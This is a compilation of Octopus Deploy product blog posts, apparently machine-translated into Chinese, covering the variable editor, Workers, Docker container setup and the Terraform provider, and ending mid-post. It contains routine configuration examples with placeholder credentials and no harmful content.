章鱼部署 4.0 -变量编辑器重新设计-章鱼部署
这篇文章是我们章鱼 4.0 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 4.0 已经发货！今天就阅读博文和下载吧！
我们之前发布了一个关于变量编辑器重新设计的 RFC。这个话题引起了很多人的兴趣，它是我们在用户之声上最受欢迎的建议。
修改后的变量编辑器将在我们即将发布的 Octopus Deploy 4.0 版本中发布。让我们深入了解一下我们所做的一些改变吧！
基于 React 和 Material 设计，使用我们新的 UI 框架从头开始构建变量编辑器。这种全新的外观使使用变量编辑器成为一种非常愉快的体验，并使其与应用程序的其他部分保持一致。
变量组
新的变量编辑器迫使用户在确定变量的作用域时，以稍微不同的方式考虑变量。现在，一个变量有多个不同作用域的值，而不是多个同名的变量。从概念上讲，这与变量的使用方式更加一致，意味着您总是可以在 UI 中看到适当分组的变量。这也意味着我们可以提供一些有用的特性，比如只需要重命名一个变量一次，而不是为每个值重命名多次。
在这个例子中，您可以看到DatabaseName和WebsitePort的所有值都被分组在一起，这样您就可以轻松地一起查看和编辑它们。
附加行动
就像 4.0 UI 的其余部分一样，当有额外的上下文操作可用时，它们会显示在溢出菜单中。变量编辑器中每一行的右侧都有一个溢出菜单按钮。这允许您执行更具体的操作，如复制、删除或向现有变量添加新值。
弹出对话框
有时你需要更多的空间来编辑一个变量，这就是变量弹出对话框发挥作用的地方。如果您的变量是一个脚本或包含大量数据，这将非常有用。它使用我们的代码编辑器，为您选择的语言提供语法高亮显示。该对话框还为您提供了执行一些高级变量设置的机会，例如配置提示变量。
描述
有时你想用一些额外的信息来注释一个变量。也许这是对在部署过程中如何使用变量的描述，或者也许是对为什么使用特定值的解释。我们现在对每个变量都有了一个方便的描述。只需将鼠标悬停在变量名旁边的描述图标上即可查看其描述。您可以在变量弹出对话框中编辑描述。
过滤
我们还对变量过滤进行了重大修改。过滤确实存在于版本 3 和早期的变量编辑器中，但是它不是很容易被发现，很多用户甚至不知道它的存在！它在新的变量编辑器中更加突出，允许您以更多的方式过滤变量。例如，您可以选择只显示还没有值的变量。
键盘
很多用户在编辑变量时喜欢呆在键盘上。对于第一个版本，我们主要关注导航体验。您可以使用 tab、shift + tab 和上下箭头键在变量编辑器中轻松导航。您可以更改任何变量的名称、值或范围，而无需触摸鼠标！当然，如果你喜欢用鼠标，那也很好。
下面是一个不用离开键盘就可以添加一个具有多个值的新变量的例子。
性能
一些用户有非常大的变量集，所以我们确保变量编辑器在这些情况下保持快速。使用 react 在这里帮了我们很多，因为 React 有一些优化渲染性能的有用策略。此外，我们利用 UI 虚拟化技术，只呈现当前在屏幕上可见的变量。我们相信，即使是我们最大的客户也会对新变量编辑器的性能感到满意。
反馈
感谢所有提供建议和反馈的人。不幸的是，我们无法在变量编辑器的第一版中解决所有这些问题。相反，我们专注于建立一个坚实的基础，在即将发布的 Octopus 中，我们可以在这个基础上轻松地迭代和改进。
我们期待着将它交到您的手中，看看您有什么想法！
Octopus 与构建服务器- Octopus 部署
在我以前的生活中，我使用 CruiseControl.NET，以及后来的 TeamCity，作为我的部署自动化工具。目标是自动化部署，因为我的构建服务器已经编译了代码并运行了测试，所以让它也进行部署是很自然的。
我通过添加部署软件的定制脚本来扩展构建过程。有时它们是运行 RoboCopy 和一些 XML 转换的短脚本。其他时候，它们是大量的 PowerShell，代理监听远程机器；这完全取决于实际部署过程的复杂程度。正是这些经历导致了章鱼的诞生。
也就是说，这是一个仍然每周出现一次的问题:当我已经有一个 CI 服务器时，为什么还要使用 Octopus？
事实上，当我写一些关于集成 Atlassian Bamboo 和 Octopus Deploy 的文档时，我也问过自己这个问题。Bamboo 甚至还融入了部署概念；为什么竹子使用者需要章鱼？
原因如下:
不同的焦点
构建服务器通常包含许多内置任务，而关注于构建。TeamCity 和 Bamboo 提供了一系列便于构建的构建运行器类型:它们可以调用许多平台的构建引擎(如 MSBuild)，可以处理构建时依赖(NuGet，Maven)，有许多单元测试运行器(NUnit，MSTest)，可以运行并报告代码质量和一致性(代码覆盖率，FXCop)。
当您从部署的角度查看构建服务器中的任务运行器列表时，您会注意到一个不同之处。配置 IIS 网站的内置任务在哪里？或者安装一个 Windows 服务？更改一个配置文件？或者在 Octopus 库中可用的其他 54 个(截至今天)面向部署的任务？
即使在 Bamboo 中，内置了完整的部署特性，可用的部署任务也仅限于运行脚本:
事实是，当从 CI 服务器部署时，您通常会发现与内置部署任务最接近的是运行脚本的能力。这就引出了下一个问题:
远程部署
当构建服务器执行作业时，构建代理通常与最终部署到的机器不同。这是因为与构建不同，部署涉及协调许多机器上的活动。
当一个部署涉及多台机器时，由您来决定如何通过网络使用 XCOPY、SSH 或 PowerShell remoting 等工具远程执行整个部署。然后，您可以将它包装在一个 for 循环中，以迭代所有相关的机器。
这带来了许多挑战:
1)您对所有这些机器都有适当的权限吗？2)您能对防火墙进行所有必要的更改吗？3)如果这些机器不在同一个 Active Directory 域上，该怎么办？4)您将如何取回日志？如果出了问题，你将如何诊断？5)连接是否安全？
过去，我在不同的项目中浪费了太多的时间来解决这些问题，这正是我们在设计触手代理系统上投入如此多时间的原因:
- 触角不需要在同一个 AD 域
- 我们使用 SSL 和双向信任来保证安全性
- 触须既可以监听也可以投票——由你决定
- 当 Tentacles 运行命令时，它们是作为本地用户执行的，因此您可以执行许多可能无法通过网络执行的活动
自动并行化
与上述相关，在除了最简单的部署之外的所有部署中，一个部署通常涉及多台机器:可能是几台 web 服务器，或者一个应用服务器群。
一个好的部署自动化工具可以解决在所有这些机器上并行运行所有部署活动的问题。在 Octopus 中，您注册机器并用角色标记它们，然后您指定要部署到给定角色的机器上的包。Octopus 确保包在机器上，然后并行或滚动部署它们。
当您比较来自像 Bamboo 或 Jenkins 这样的 CI 工具的平面构建日志时，区别是显而易见的:
对照 Octopus 中的分层部署日志:
Octopus 使用嵌套不是为了显示的目的(像 TeamCity):我们使用它是因为这些步骤中的每一步都在同一时间运行。根本没有其他方法来显示它。如果您有一个需要在 10 台机器上运行的脚本，您将看到它在所有 10 台机器上同时执行时的日志消息，而不会把它们混在一起。
上周五，一位客户使用 Octopus 在超过 600 台机器上部署了一个应用程序。如果不自己编写所有的协调脚本，用构建服务器来做这件事会花费很长时间，而且日志也不可能被破译。
配置
所有构建服务器都有某种级别的构建参数/变量支持。但是观察它们的能力非常有限。如果您有多台目标服务器，并且需要对每台服务器的设置使用不同的值，您如何管理呢？
在 Octopus 中，我们用不同的作用域管理变量，可以安全地处理密码等敏感设置。如你所料，我们在发布之间拍快照，并且审计所做的变更。最重要的是，您可以更改配置(这实际上是一个操作问题)，而不必重新构建应用程序。
部署可能会很混乱
当您的构建服务器遇到一个错误——一个失败的单元测试，或者糟糕的代码，它会怎么做？理想情况下，它会很快失效。您不希望 CI 服务器暂停，并询问您下一步想做什么。
当您在 10 台 web 服务器上执行一个 web 站点的滚动部署时，7 号服务器出现故障，快速故障可能是您最不希望看到的。也许您想调查问题并重试，或者跳过那台机器并继续其余部分。这就是为什么章鱼有引导失败的原因。
事实上，人工干预可能是所有部署都需要的，而不仅仅是在出现问题时。在 Octopus 中，您可以将手动干预步骤添加到部署中，这些步骤可以在开始(用于批准)、结束(用于验证)、甚至中途(某些遗留组件只需手动配置)运行。
摘要
所有这些问题——可用的内置任务、远程执行和基础设施问题、并行性和故障模式——都指向一个结论:构建和部署是根本不同的东西。事实上，它们唯一真正共享的特征是它们有时都涉及脚本，团队需要对它们的可见性。
作为负责自动化部署的开发人员，这种区别起初并不明显。构建和 CI 服务器已经存在很长时间了，我们对它们很熟悉，因此很自然地会想到如何将它们扩展到部署。尽管我们已经在 Octopus 上工作了很多年，但在为 Octopus 设计新功能时，我仍然发现自己在看 CI 工具。只有当您使用定制脚本来协调日益复杂的部署时，这些差异才会变得非常明显。
构建和部署是不同的，但同样重要。“最佳工作工具”的规则应该适用于他们两个。我们的目标是专注于成为最好的部署工具；我们将把构建的问题留给构建服务器 :-)
章鱼部署对木偶/厨师-章鱼部署
在支持网站上， Dmitry 问:
嗨，我们怎么能说 Octopus Deploy 比 Puppet 或类似工具好得多呢？
几年来，我一直在批评我们的系统管理员，试图让他们设置服务的自动部署。最后我放弃了。然后我听说了 Octopus 的部署，我自己用 Octopus 做了所有的事情。我们对八达通很满意，我们已经购买了许可证，我认为我们不需要其他任何东西。但是最近我们的系统管理员告诉我，他们将使用 Puppet 设置自动部署，看起来我们将不得不放弃我们的 Octopus 部署，转而使用 Puppet。
我不打算争论章鱼比木偶或厨师“更好”；相反，我要说的是章鱼和木偶是不同的。其实我觉得没什么理由选。
Puppet 和 Chef 是配置管理工具。他们通过描述系统应该处于的状态来工作，并采取措施确保系统处于该状态。
例如，假设您正在管理 30 台 web 服务器。您可以使用 Puppet 或 Chef 来指定以下内容，而不是使用 remote desktop 来配置它们、安装 Windows 组件、启用功能等等:
- 所有 web 服务器都应该配置 IIS 并启用 Windows 身份验证模块
- MSMQ 应该已经安装并正在运行
- 位于
C:\Logs的文件夹应该存在，并且可以被给定的用户帐户写入
相反，Octopus Deploy 是一个发布自动化工具。八达通对“期望状态”不起作用；相反，它是一个编排工具，以非常特定的顺序运行各个步骤。比起木偶或厨师，它更接近于像 Nolio 或 UrbanDeploy (没有安装它所需的价格标签或顾问大军 :-) )这样的工具。
Octopus 是如下部署的理想选择:
- 将负载平衡器重定向到“停机维护”站点
- 从负载平衡器中删除 web 服务器
- 停止应用程序服务器
- 备份和升级数据库
- 启动应用程序服务器
- 将 web 服务器添加回负载平衡器
或者这个:
- 发送消息将应用程序置于“只读”模式
- 应用数据库迁移
- 所有 web 服务器的滚动部署:
- 从负载平衡器中移除
- 将 web 应用程序更新至最新版本
- 添加回负载平衡器
- 当有人检查系统时通知并暂停，以确保一切正常
- 发送消息以重新启用写模式
如果你能用一个清单来描述你的自动化，并且顺序/时间并不重要，那么木偶/厨师会工作得很好。当秩序很重要时，八达通很好用。例如，在迁移数据库之前不能更新 web 应用程序，否则会出现混乱。
现在，您可以让 Octopus 使用 PowerShell 来执行您的基础架构供应和配置管理任务，许多人都这样做。但是对于基础设施自动化和新系统的供应，我同意使用 Puppet，如果您已经掌握了技能，将是一个更好的选择:工作流更适合于此。
结论:两者并用
如果您的系统管理员发现像 Puppet 这样的工具最适合他们，那么无论如何他们都应该使用 Puppet。这是一个为系统管理员可能需要的自动化类型而设计的很好的工具。当涉及到频繁地将更新部署到您正在构建的应用程序，或者允许 QA 进行自助部署时，Octopus 更适合这种情况。
使用 Puppet 提供基础设施并确保一切准备就绪，使用 Octopus 在这些系统上连续交付您的应用程序。
如果开发团队喜欢一种工具，而系统管理员喜欢另一种，这可能是因为不同的工具更适合他们特定的场景、目标和约束。一个并不比另一个好；它们只是为不同的事情而设计，为了真正的生产力，我们应该利用这一点。
您认为这两套工具之间的主要区别是什么？你什么时候会用木偶/厨师，什么时候会用章鱼？让我们帮助德米特里。
哦，最后一件事:如果你用八达通，你就不用学 Ruby，穿得像个潮人。尼尔尼尔尼尔。 :-)
八达通工人-八达通部署
我们即将发布一个伟大的新功能，给你各种新的力量来建立你的八达通基础设施。在 2018.7.0 中，我们将引入工人。
在这篇文章中，我会给你一个预发布的预览，告诉你 Workers 是什么和为什么，并向你展示如何使用 Workers 将步骤从 Octopus 服务器上移走。
未来的帖子将给出更多的示例，通过 Workers 和使用 Workers 进行云部署来扩展您的 Octopus 基础设施。
Workers 为您提供了一些很好的方法来设置您的部署并将工作从您的 Octopus 服务器上移走，因此它非常值得仔细阅读，但我们也设计了它,因此如果您不想使用它，您甚至不需要知道它在那里。
这些工人到底是什么？
从 3.0 版本开始，Octopus 就有了一个工人。我们一开始并没有把它叫做工人，你可能甚至不知道它的存在就用上了。它被称为内置工人，它与章鱼服务器捆绑在一起。
Azure、AWS 和 Terraform 步骤都需要在某个地方运行，因此，开箱即用就是 Octopus 服务器上的内置工作器。Octopus 中的步骤由我们的开源、基于约定的部署可执行文件 Calamari 执行。通常，Calamari 运行在部署目标上，但是在 Azure、AWS 和 Terraform 步骤中，Octopus 服务器使用内置的 Worker 在本地调用 Calamari。
脚本步骤透露了 Octopus 可以在本地调用 Calamari。在图中的脚本步骤中，你可以看到在 Octopus 服务器上运行的选项；是内在的工人使这成为可能。
Worker 所做的就是利用内置的 Worker，在服务器可以本地执行 Calamari 的地方获取这些点，并让您选择在其他地方的 Worker 上执行它们。
什么是工人，什么不是
工作人员不会取代 Octopus 服务器来协调部署；它只是执行服务器指示的步骤。脚本、Azure、AWS 或 Terraform 步骤的执行方式没有任何变化；工人只是提供一个关于在哪里执行这些步骤的选项。
Octopus 服务器协调整个部署过程。部署目标是部署的目的地，工作人员是可以为服务器执行某些步骤的机器，但不是部署的目标。
所以，worker 只是可以运行 script、Azure、AWS、Terraform 步骤的机器，可以是监听触角、轮询触角，也可以是 SSH 机器(SSH Workers 只能运行 bash 脚本)。
什么时候你可能需要一个工人
在接下来的几篇文章中，我将充实工人派上用场(或必不可少)的三个案例的细节。
- 移动八爪鱼服务器的步骤——安全
- 扩大规模的工人-绩效
- 设置云工人-云(在下面的帖子中)
当然，也有其他使用工人的方法。
但是，在我们进入示例之前，让我们看看整个 Workers 设置是如何工作的。
工人如何工作
工人
工人是监听触角，轮询触角或者 SSH 机器。设置与触手或 SSH 部署目标相同。工人甚至使用相同的触手和卡拉马里二进制文件作为部署目标。
例如，这里我使用触手管理器来设置触手，但是您也可以编写设置的脚本，甚至从命令行执行完整的工作注册。
一旦我设置了触手，我就导航到基础设施中的新工人选项卡，并选择“添加工人”。
在输入我配置的触手的主机和端口之后，我给这个工作者一个名字，选择一个机器策略，并把这个工作者放在一个工作者池中。
工人池
工人被分组到工人池中。从 Octopus 服务器的角度来看，一个池中的所有工作人员都是等效的。池可能代表机器设置，以帮助特定类型的部署，或者安装特定的工具集，或者您可能会为您正在进行的特定团队或项目分配池(当我们的空间特性出现时，这将很快工作)。
工人的跑步步骤
步骤——well、script、Azure、AWS 或 Terraform 步骤——现在可以针对一个工人池，并将在该池中的工人上执行。如果没有指定任何其他内容，那么总是有一个默认池被假定为步骤的目标。您可以自由更改哪个池是默认池。不出所料，最初它是作为一个名为“默认工人池”的池开始的。
Octopus 只有两种选择来选择一个工人来执行一个步骤。
- 如果步骤解析到默认池，并且默认池中没有工作线程，Octopus 将选择内置工作线程。
- 在所有其他情况下，Octopus 从给定的池中挑选任何健康的工人。
差不多就是这样。您设置工作人员(就像设置部署目标一样简单)，将工作人员分组到池中(就像将部署目标放入环境中一样简单)，然后您将一个步骤指向一个池，Octopus 就会分发您的部署流程的工作。
什么，等等，不。我不需要工人，把它改回来...
我们仔细研究了使用工人的而不是的用例以及过渡到工人的用例。我们认为这两个问题都得到了圆满的答案。
如果你不想用工人，那么真的很简单——忽略它就好。如果您是现有的 Octopus 用户，您的步骤不会改变，您的任何部署流程都不会改变，您的 Octopus 体验不会改变，甚至您的部署日志也不会改变。
以上第(1)点说明了一切。任何需要 Worker 的步骤都将解析(因为您的步骤不会有任何不同)到默认的 Worker 池，并且最终会在内置的 Worker 中结束，这与 Octopus 用户从 3.0 版本开始的体验相同。
停止在 Octopus 服务器上运行的步骤
我们也有一个很好的故事，从章鱼服务器上运行步骤的过渡。没有需要更新的部署流程。只需一点点设置，Octopus 就会将步骤从服务器转移到工人身上。
我们都喜欢我们的开发团队(至少像我这样的开发人员希望你喜欢)，但是如果他们不能在你的 Octopus 服务器上执行代码，也许你会更喜欢这样。
好吧，你现有的所有 Azure、AWS 和 Terraform 步骤(以及任何针对服务器的脚本步骤)都不会提到 Worker 池，所以最终使用默认池，它是空的，因此这些步骤运行在内置的 Worker 上。但是，如果您在默认池中删除了一个 Worker，那么规则(2)适用，并且该步骤在该 Worker 上运行，而不是在内置 Worker 上运行。
让我们来看看实际情况。我从一个没有工作线程(当然，除了内置工作线程)和工作线程池(除了默认池)的 Octopus 服务器设置开始。我用一个针对服务器的脚本创建了一个简单的项目。
部署项目后，日志清楚地指出脚本运行在 Octopus 服务器上。
然后，正如上面所描述的，我提供了一个触手，并将其注册为默认工作池中的一个工作线程。
在部署同一个项目的 0.0.2 版本(未更改)时，日志让我知道它现在运行在 Worker 上，而不是服务器上。
这就够了。仅仅一根触手就足以阻止用户代码在 Octopus 服务器上执行。
当然，也可以提供多个工作人员来分担服务器分配的工作。我将在下一篇文章中谈到这一点。
也可以关闭内置的 Worker，这意味着它永远不会被调用，即使默认池碰巧是空的。选中{配置->功能}中的选项。
相同的并发规则一如既往地适用。服务器仍然尊重您的并行步骤和Octopus.Action.MaxParallelism，因此多个并发步骤可以在 Worker 上运行，甚至可以在同一个 Worker 上运行，就像内置 Worker 并发运行许多步骤一样。
即将推出
工人即将在 Octopus 2018.7.0 中发布，所以请关注我们的发布。
在博客上，我会发布更多关于工人的文章。接下来，我将考虑使用 Workers 来减少 Octopus 服务器上的负载。在那之后，我将看一看我们如何使用 Workers 来为云部署提供一些好的模式。
Octopus 工作流生成器反馈- Octopus 部署
原文：https://octopus.com/blog/octopus-workflow-builder-feedback
现代开发运维团队对他们的持续交付工作流有什么要求？持续集成、云部署、特性分支、测试、软件材料清单(SBOMs)和依赖性漏洞扫描只是高绩效团队快速交付和维护高质量软件所需的一些特性。
但是你如何实际上实现这些过程呢？多年来，我们在这个博客上分享了很多意见，以帮助团队从 Octopus 中获得最大收益，但感觉我们经常在讲述故事的结尾。我们希望“使复杂的部署变得简单”，但是我们经常跳过设置甚至是最简单的真实样本环境的单调工作。作为读者，您需要编写自己的示例应用程序，实例化自己的云基础设施，填充自己的 Octopus 配置，并在遵循我们最新的操作指南之前复制/粘贴我们的示例。
我们希望您能够体验到现代连续交付工作流程对您实际使用的平台的威力和乐趣，而无需花费数天时间来设置您的工具。这就是我们构建 Octopus 工作流构建器的原因，我们希望您对这个早期版本有所反馈。
什么是 Octopus Workflow Builder
Octopus Workflow Builder 提供了一个简单的向导，您可以在其中选择想要部署到的平台(本版本支持 EKS、ECS 和 Lambdas)，输入想要用示例部署项目填充的 Octopus cloud 实例，输入您的 AWS 密钥，并授权应用程序代表您创建 GitHub 存储库。
然后，工作流构建器将使用以下内容填充 GitHub 存储库:
- 示例 web 应用程序
- Terraform 配置文件，用于创建 ECR 存储库并使用 Octopus Terraform 提供者填充 Octopus 空间
- GitHub Actions 工作流编译、测试和发布示例应用程序，并应用 Terraform 配置
这进而用以下内容填充您的 Octopus 实例:
- 环境、帐户、生命周期、源和目标
- 一个基础架构部署项目，创建一个 EKS 集群和 ECS 集群，或者创建一个 API 网关来公开 Lambdas
- 一个后端部署项目，它部署一个 RESTful API，对其进行冒烟测试，并执行与 Postman 的集成测试
- 一个前端部署项目，它部署一个静态 web 应用程序，对其进行冒烟测试，并使用 Cypress 执行端到端测试
- 一种环境，在该环境中，根据关联应用程序的依赖项生成的 SBOM 包执行安全扫描
最终结果是一个自以为是的 CI/CD 工作流，用于部署、测试和维护真正的基于云的应用程序。最棒的是，整个工作流程是在您自己的 GitHub 存储库和 Octopus 实例中配置的，因此您可以完全控制以您想要的方式定制流程。
以下视频重点介绍了由工作流构建器创建的示例部署项目的功能:
https://www.youtube.com/embed/wABZvJPVCMg
VIDEO
https://www.youtube.com/embed/vcHdGRS-xzU
VIDEO
https://www.youtube.com/embed/sex-QLKA5xE
VIDEO
https://www.youtube.com/embed/Wo4JY8fV_WM
VIDEO
我们需要您的反馈
我们希望得到您对这个早期版本的 Workflow Builder 的反馈，以帮助我们消除任何错误，并了解该工具是否对您有用。
我们有一个 GitHub 问题，你可以在这里提交任何反馈。
访问源代码
如果你对工作流构建器的源代码感兴趣，我们在 GitHub 上发布了它。
结论
我们希望您喜欢 Octopus Workflow Builder ，并期待您的任何反馈，以帮助我们使它成为最好的工具。
愉快的部署！
在容器中运行 Octopus Deploy-Octopus Deploy
在当今快节奏的世界中，我们中的一些人真正需要的是一种更快的下载和运行 Octopus Deploy 的方法。谢天谢地，Octopus Deploy 容器现在已经可以使用了，它允许用户直接从 Docker 容器内部运行 Octopus 服务器或触手。Octopus deploy/Octopus deploy和Octopus deploy/触手映像是在我们的标准 Octopus 服务器和触手构建过程中构建的，因此您可以始终确保有最新版本可用(升级过程非常简单*，您很快就会看到)。*
*## 在容器中运行 Octopus 服务器
假设您手边有一个 SQL 数据库(我们将很快演示它本身甚至不是必需的),以最简单的方式启动 Octopus 服务器容器:
docker run -i --env sqlDbConnectionString=<MyConnectionString> octopusdeploy/octopusdeploy
在这篇文章中，我不打算深入剖析 Docker 命令，而是鼓励你查看 Docker 文档以获得更详细的解释。
作为优秀的容器拥护者，我们都知道应该把容器视为不可变的，并且可以在任何时候被拆除。为了解决这个问题，我们应该确保实例使用的服务器文件被写入更持久的内容。Octopus 服务器容器提供了几个挂载点，使维护这些文件变得更加容易。此外，尽管容器在端口81上公开了 Octopus Web 门户，但我们可能希望将其映射到主机上的特定端口。总的来说，上面的命令很好也很简单，但是提供我们自己的管理员凭证来访问新创建的实例可能比依赖缺省值更理想。
让我们为这个命令添加一些配置:
docker run --interactive --detach `
--name OctopusServer `
--publish "8081:80" `
--volume "E:/Octopus/Repository:C:/Repository" `
--volume "E:/Octopus/Artifacts:C:/Artifacts" `
--volume "E:/Octopus/TaskLogs:C:/TaskLogs" `
--env sqlDbConnectionString="Server=172.23.192.1,1433;Initial Catalog=Octopus;Persist Security Info=False;User ID=sa;Password=P@ssw0rdz;MultipleActiveResultSets=False;Connection Timeout=30;" `
--env OctopusAdminUsername=Mario `
--env OctopusAdminPassword=ItsAMe! `
octopusdeploy/octopusdeploy:2018.4.0
现在一切都已经从容器中具体化了，当我们期待已久的热门新 Octopus 特性可用时，我们可以轻松地升级 Octopus 服务器实例。首先，我们需要从最初的 Octopus 实例中获取主密钥。作为该容器启动过程的一部分，主密钥被写入日志，因此可以通过运行docker logs OctopusServer找到它。有了密钥，我们可以停止原来的容器，并使用新的主密钥环境变量和新的版本标记重新运行上面的运行命令:
docker run --interactive --detach `
...
...
--env masterKey=7dnak8asdn23hjasd== `
octopusdeploy/octopusdeploy:2018.4.1
嘣，新版本将下载，执行任何必要的数据库迁移，并开始运行。*告诉你这是疯狂的简单。*查看 Octopus 服务器映像上的我们的文档以了解关于可用配置的更多详细信息。
在容器中运行触手
Octopus 触手容器也是可用的，但是由于 Octopus 中任何针对触手运行的部署任务都将在容器本身中运行，所以您不太可能使用它来更新 IIS 网站或部署 NodeJS 应用程序。这将开始提供更多的价值，当触手可执行程序将能够运行目前局限于“在服务器上运行”的任务。
当一个触手容器启动时，它用提供的服务器细节注册自己。随着未来的变化，触手也将在关闭时重新注册自己，但是该功能仅在最近的 Windows 容器版本中可用，因此在当前版本中尚未考虑 side。
docker run --interactive --detach `
--name MyTentacle `
--env ServerApiKey=API-48AC758FF8912B `
--env ServerUrl=http://myoctopus.acme.com `
--env TargetEnvironment=Development `
--env TargetRole=InnerContainer `
octopusdeploy/octopusdeploy:2018.4.1
触手可以配置为轮询或监听模式，同样，查看我们的文档了解更多关于可用设置的详细信息。
没有 SQL？别担心
“可是抢！”我听到你说，“我没有一个 SQL 服务器可以运行 Octopus。”嗯，这很好，因为我们可以利用 Docker Compose 在我们的 Octopus 服务器旁边构建一个 SQL 数据库容器。(注意:围绕在容器中运行数据库以用于生产目的，有很多观点。我们倾向于同意。接下来的这些例子可能最好留给测试和实验。
使用下面的docker-compose.yml文件:
version: '2.1'
services:
db:
image: microsoft/mssql-server-windows-express
environment:
sa_password: "${SA_PASSWORD}"
ACCEPT_EULA: "Y"
healthcheck:
test: [ "CMD", "sqlcmd", "-U", "sa", "-P", "${SA_PASSWORD}", "-Q", "select 1" ]
interval: 10s
retries: 10
octopus:
image: octopusdeploy/octopusdeploy:${OCTOPUS_VERSION}
environment:
OctopusAdminUsername: "${OCTOPUS_ADMIN_USERNAME}"
OctopusAdminPassword: "${OCTOPUS_ADMIN_PASSWORD}"
sqlDbConnectionString: "Server=db,1433;Initial Catalog=Octopus;Persist Security Info=False;User ID=sa;Password=${SA_PASSWORD};MultipleActiveResultSets=False;Connection Timeout=30;"
ports:
- "8081:81"
depends_on:
db:
condition: service_healthy
stdin_open: true
volumes:
- "E:/Octopus/Repository:C:/Repository"
- "E:/Octopus/TaskLogs:C:/TaskLogs"
networks:
default:
external:
name: nat
以及附带的.env文件:
SA_PASSWORD=P@ssw0rd!
OCTOPUS_VERSION=2018.3.13
OCTOPUS_ADMIN_USERNAME=admin
OCTOPUS_ADMIN_PASSWORD=SecreTP@ass
只需运行:
docker-compose --project-name Octopus up -d
在短暂的等待之后，您将拥有一个自包含的 SQL Server 和 Octopus Server 实例，可以为您的应用程序执行部署了。
在我们的文档中，我们还指出了如何利用 Octopus 服务器映像上的C:\Import卷挂载来提供初始化数据以预填充数据库，然后在同一个docker-compose脚本中包含多个触角。
章鱼和容器
这种在容器内运行 Octopus 的最新能力进一步巩固了 Octopus Deploy 的承诺，即为希望在其环境中更好地利用容器的用户提供改进的解决方案。目前正在开发中的 Kubernetes 特性将允许在您的部署中与容器进行更深入的集成，而与平台无关。让我们知道您对我们未来方向的想法，看看我们的现有的 Docker 产品和快乐(集装箱化)部署！*
Octopus Deploy 的 Terraform provider 入门- Octopus Deploy
原文：https://octopus.com/blog/octopusdeploy-terraform-provider
基础设施即代码(IaC)允许团队创建基础设施资源(即虚拟机、存储、网络资源等)。)而无需浏览向导或多次点击鼠标。哈希公司的 Terraform 是最受欢迎的基础设施 as 代码解决方案之一。Terraform 是一个开源的 IaC 解决方案，它允许您使用一种基于函数的编程语言来定义您的基础设施，这种语言叫做哈希公司配置语言(HCL) 。
章鱼很自豪地介绍我们的官方平台提供商。这个项目最初是由马修·霍奇金斯发起的社区倡议，他根据自己的需求建造了这个项目。接下来， Mark Henderson 为 StackExchange 的需求贡献了项目。我们感谢 Matt 和 Mark 自 2018 年项目启动以来所做的努力。使它成为一个官方的、受支持的提供者带来了显著的优势，因为我们可以保持插件最新，改进它的测试，并增加新的特性。
在这篇博文中，我介绍了 Octopus Deploy 的 Terraform 提供者，并分享了如何开始使用它的实际例子。
为什么基础设施是代码？
自动化和开发运维是未来。手动创建基础设施既慢又容易出错，而且很容易因为一个愚蠢的打字错误而破坏系统。
作为代码的基础设施允许您声明性地描述您的基础设施，并且相关的工具允许您在将其应用于生产系统之前对其进行测试。将您的配置存储在源代码管理中允许您通过协作、代码审查来进一步提高质量，并且它为您提供了更改的完整历史。
什么是 Terraform 提供商？
Terraform 是一个开源工具，您可以使用声明性配置文件，遵循基础架构即代码的方法，来配置和更新基础架构。您在配置文件中描述资源的状态，Terraform 将此应用于您的基础设施。它可以创建、破坏和检测期望状态和实际基础设施之间的偏差。
Terraform 提供者是允许 Terraform 与多种技术交互的插件。Octopus Deploy Terraform provider 将使您能够与 Octopus 实例交互并管理其配置。
Octopus Deploy 的 Terraform provider 入门
我们的 Terraform 提供商允许团队提供和配置 Octopus Deploy 实例。这适用于本地 Octopus 服务器和 Octopus Cloud 实例。
我们在内部使用这个 Terraform provider 来提供和配置 Octopus 实例，包括 Octopus Cloud。这是一个神奇的工具，我们很高兴看到它在社区的团队中使用。
这个提供者由用 Go 编写的新的跨平台 Octopus 客户端提供支持。这个客户端很有用，因为它让您无需直接调用 Octopus REST API 就可以与 Octopus 进行交互。它补充了 Octopus CLI 和其他 Octopus API 客户端。
先决条件
使用 Octopus Terraform provider 需要以下工具:
- Go 1.12 或更新版本
- Terraform 0.12 或更新版本
- Octopus Deploy 2019.1 或更新版本
安装 Octopus Terraform 提供程序
我们正在将 Octopus 提供程序发布到官方的 Terraform 注册表，Terraform 会自动检测您需要哪些提供程序并安装它们。
创建您的第一个地形脚本
首先，这里有一个简单的例子，向您展示如何向现有的 Octopus 实例和空间添加新的变量集:
- 创建地形配置文件
main.tf:这是主配置文件，配置提供者并指定要创建或更新的资源。variables.tf:该文件定义了main.tf配置文件中使用的变量。terraform.tfvars:该文件包含variables.tf中定义的变量值。
- **配置主地形配置文件。**打开
main.tf文件，复制粘贴以下内容。前两个块配置 Octopus 部署提供程序，最后一个块定义新的变量集资源:
terraform {
required_providers {
octopusdeploy = {
source = "OctopusDeployLabs/octopusdeploy"
}
}
}
provider "octopusdeploy" {
address = var.serverURL
api_key = var.apiKey
space_id = var.space
}
resource "octopusdeploy_library_variable_set" "newvariableset" {
description = var.description
name = var.variableSetName
}
- **添加变量定义。**打开
variables.tf文件，复制并粘贴以下变量定义。这个文件的内容很简单。我们正在定义变量名和它们将存储的数据类型。在这种情况下，一切都是一个简单的字符串:
variable "apiKey" {
type = string
}
variable "space" {
type = string
}
variable "serverURL" {
type = string
}
variable "variableSetName" {
type = string
}
variable "description" {
type = string
}
- 设置您的变量值。Terraform 会在运行时将这些值传递到您的配置文件中。打开
terraform.tfvars文件，复制并粘贴以下文本。您将需要使用您的 Octopus 服务器详细信息以及变量集名称和描述来更新这些值:
serverURL = "https://mytestoctopusname.octopus.app"
apiKey = "API-XXXXXXXXXXXXX"
space = "Spaces-1"
variableSetName = "AWS configuration values"
description = "Collection of common AWS config values for automated deployment and runbook processes."
- **应用配置文件中的更改。**通过将 Terraform 配置文件应用到 Octopus 实例来创建新的 Octopus 变量集资源。在终端或命令提示符下运行以下命令，初始化、验证并应用您的更改:
terraform initterraform planterraform apply
注意:这不是一个完整的地形教程。我强烈推荐你阅读优秀的 Terraform 文档来了解更多关于 Terraform 本身的信息。
恭喜你！您已经使用 Terraform 和 Octopus Deploy 提供程序配置了 Octopus 实例。导航到您的 Octopus 实例，您将看到在所选空间中新创建的变量集！
后续步骤
阅读 Terraform provider 文档并查看 GitHub 存储库中的T5 文件夹以获取更多示例。
观看我们的管理 Octopus with Go 和 Terraform 网络研讨会，获得深入的概述，并观看大量真实的例子。
https://www.youtube.com/embed/lN78iPeqwsE
VIDEO
开源和贡献
